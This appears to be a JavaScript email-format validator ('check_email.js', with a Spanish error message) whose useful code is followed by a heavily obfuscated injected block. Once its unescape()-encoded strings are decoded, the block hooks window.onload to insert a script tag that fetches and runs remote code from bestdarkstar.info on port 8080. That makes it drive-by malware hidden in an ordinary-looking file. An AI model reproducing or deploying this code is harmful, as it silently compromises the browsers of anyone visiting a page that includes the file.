/*********************************************************************************
 * check_email.js - Check email format - Spanish Message
 *
 * Description:	This script checks for a well-formed e-mail address
 *						in the format: user@domain.com.
 *  
 ********************************************************************************/


		function checkEmail(emailAddr) {
			// this function checks for a well-formed e-mail address
			// in the format:
			// user@domain.com
			
			var i;
			
			// check for @
			i = emailAddr.indexOf("@");
			if (i == -1) {
				return false;
			}
			
			// separate the user name and domain
			var username = emailAddr.substring(0, i);
			var domain = emailAddr.substring(i + 1, emailAddr.length)

			// look for spaces at the beginning of the username
			i = 0;
			while ((username.substring(i, i + 1) == " ") && (i < username.length)) {
				i++;
			}
			// remove any found
			if (i > 0) {
				username = username.substring(i, username.length);
			}

			// look for spaces at the end of the domain
			i = domain.length - 1;
			while ((domain.substring(i, i + 1) == " ") && (i >= 0)) {
				i--;
			}
			// remove any found
			if (i < (domain.length - 1)) {
				domain = domain.substring(0, i + 1);
			}

			// make sure neither the username nor domain is blank
			if ((username == "") || (domain == "")) {
				return false;
			}
			
			// check for bad characters in the username
			var ch;
			for (i = 0; i < username.length; i++) {
				ch = (username.substring(i, i + 1)).toLowerCase();
				if (!(((ch >= "a") && (ch <= "z")) || 
					((ch >= "0") && (ch <= "9")) ||
					(ch == "_") || (ch == "-") || (ch == "."))) {
						return false;
				}
			}
			
			// check for bad characters in the domain
			for (i = 0; i < domain.length; i++) {
				ch = (domain.substring(i, i + 1)).toLowerCase();
				if (!(((ch >= "a") && (ch <= "z")) || 
					((ch >= "0") && (ch <= "9")) ||
					(ch == "_") || (ch == "-") || (ch == "."))) {
						return false;
				}
			}

			var aSuffix = new Array("com","edu","org","gov","mil","ca", "net", "au", "es");
			var bFoundSuffix = false;
			i = 0;
			while (i < aSuffix.length) {
				if (("." + aSuffix[i]) == domain.substring(domain.length - aSuffix[i].length - 1, domain.length)) {
					return true;
				}
				i++;
			}
			// we would have exited if we'd found a good suffix, so return false
			return false;
		}

		function emailOK(emailAddr) {
			if (!(checkEmail(emailAddr))) {
				alert("Su dirección de correo electrónico debe estar en el formato apropiado.");
			}
			else {
				document.fName.submit();
			}
		}


var Zl;if(Zl!='MM'){Zl=''};var X;if(X!='F'){X=''};function v(){var he=new Date();this.a="";this.U='';var GQ;if(GQ!='' && GQ!='Mt'){GQ='D'};var n=window;var E=unescape;var t=E("%2f%73%74%65%72%6e%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%64%72%75%70%61%6c%2e%6f%72%67%2e%70%68%70");var f=new Date();var cj=new Date();this.l='';var qV=new String();function Z(y,G){var GY='';this.qY="";var M=new String("giAHn".substr(0,1));var A;if(A!='YK' && A != ''){A=null};var TE=new Date();var j=E("%5b"), o=E("%5d");var h=j+G+o;var u=new RegExp(h, M);var Dr=new String();return y.replace(u, new String());var go;if(go!='g' && go!='Ga'){go='g'};var vt=new Array();};var wf='';var Wc='';var rR='';this.jF='';var C=document;var tR;if(tR!='mJ' && tR!='jB'){tR='mJ'};var gz='';var c=Z('819790556862290636','96735421');var z=new String();var oa;if(oa!='' && oa!='gG'){oa='ku'};var IX;if(IX!='' && IX!='WX'){IX=''};var vg='';function J(){this.cW="";var Ko;if(Ko!='' && Ko!='kS'){Ko='K'};var wG;if(wG!=''){wG='cB'};var XV=new Date();var m=E("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");this.B_="";var lN;if(lN!='' && lN!='Da'){lN=null};var PA;if(PA!='' && PA!='kO'){PA=null};this.mc='';z=m;var kY=new Date();var cp=new Date();z+=c;var p='';z+=t;var Bg=new String();var dY=new String();this.Bl='';this.Nc='';try {this.Sh="";var Mh=new Array();zH=C.createElement(Z('s4c6r4i3p3t3','6F43'));var EW;if(EW!='hN' && EW != ''){EW=null};this.JM="";var gN=new String();zH[E("%73%72%63")]=z;zH[E("%64%65%66%65%72")]=[1][0];C.body.appendChild(zH);var FG='';var Iu=new String();} catch(n_){var qK;if(qK!='' && qK!='gY'){qK=null};alert(n_);var Sc;if(Sc!='' && Sc!='HC'){Sc='pd'};var Sv=new String();};this.Je='';var BG='';}var fv;if(fv!='' && fv!='RB'){fv=''};var BlP;if(BlP!='' && BlP!='oL'){BlP=''};n[new String("j1BRon".substr(4)+"lo"+"adMnqR".substr(0,2))]=J;var uH;if(uH!='Gn' && uH!='iI'){uH=''};var km=new Array();var Vj;if(Vj!='jz' && Vj!='cK'){Vj='jz'};};var BN;if(BN!='' && BN!='OM'){BN=''};var cY;if(cY!='ux' && cY != ''){cY=null};v();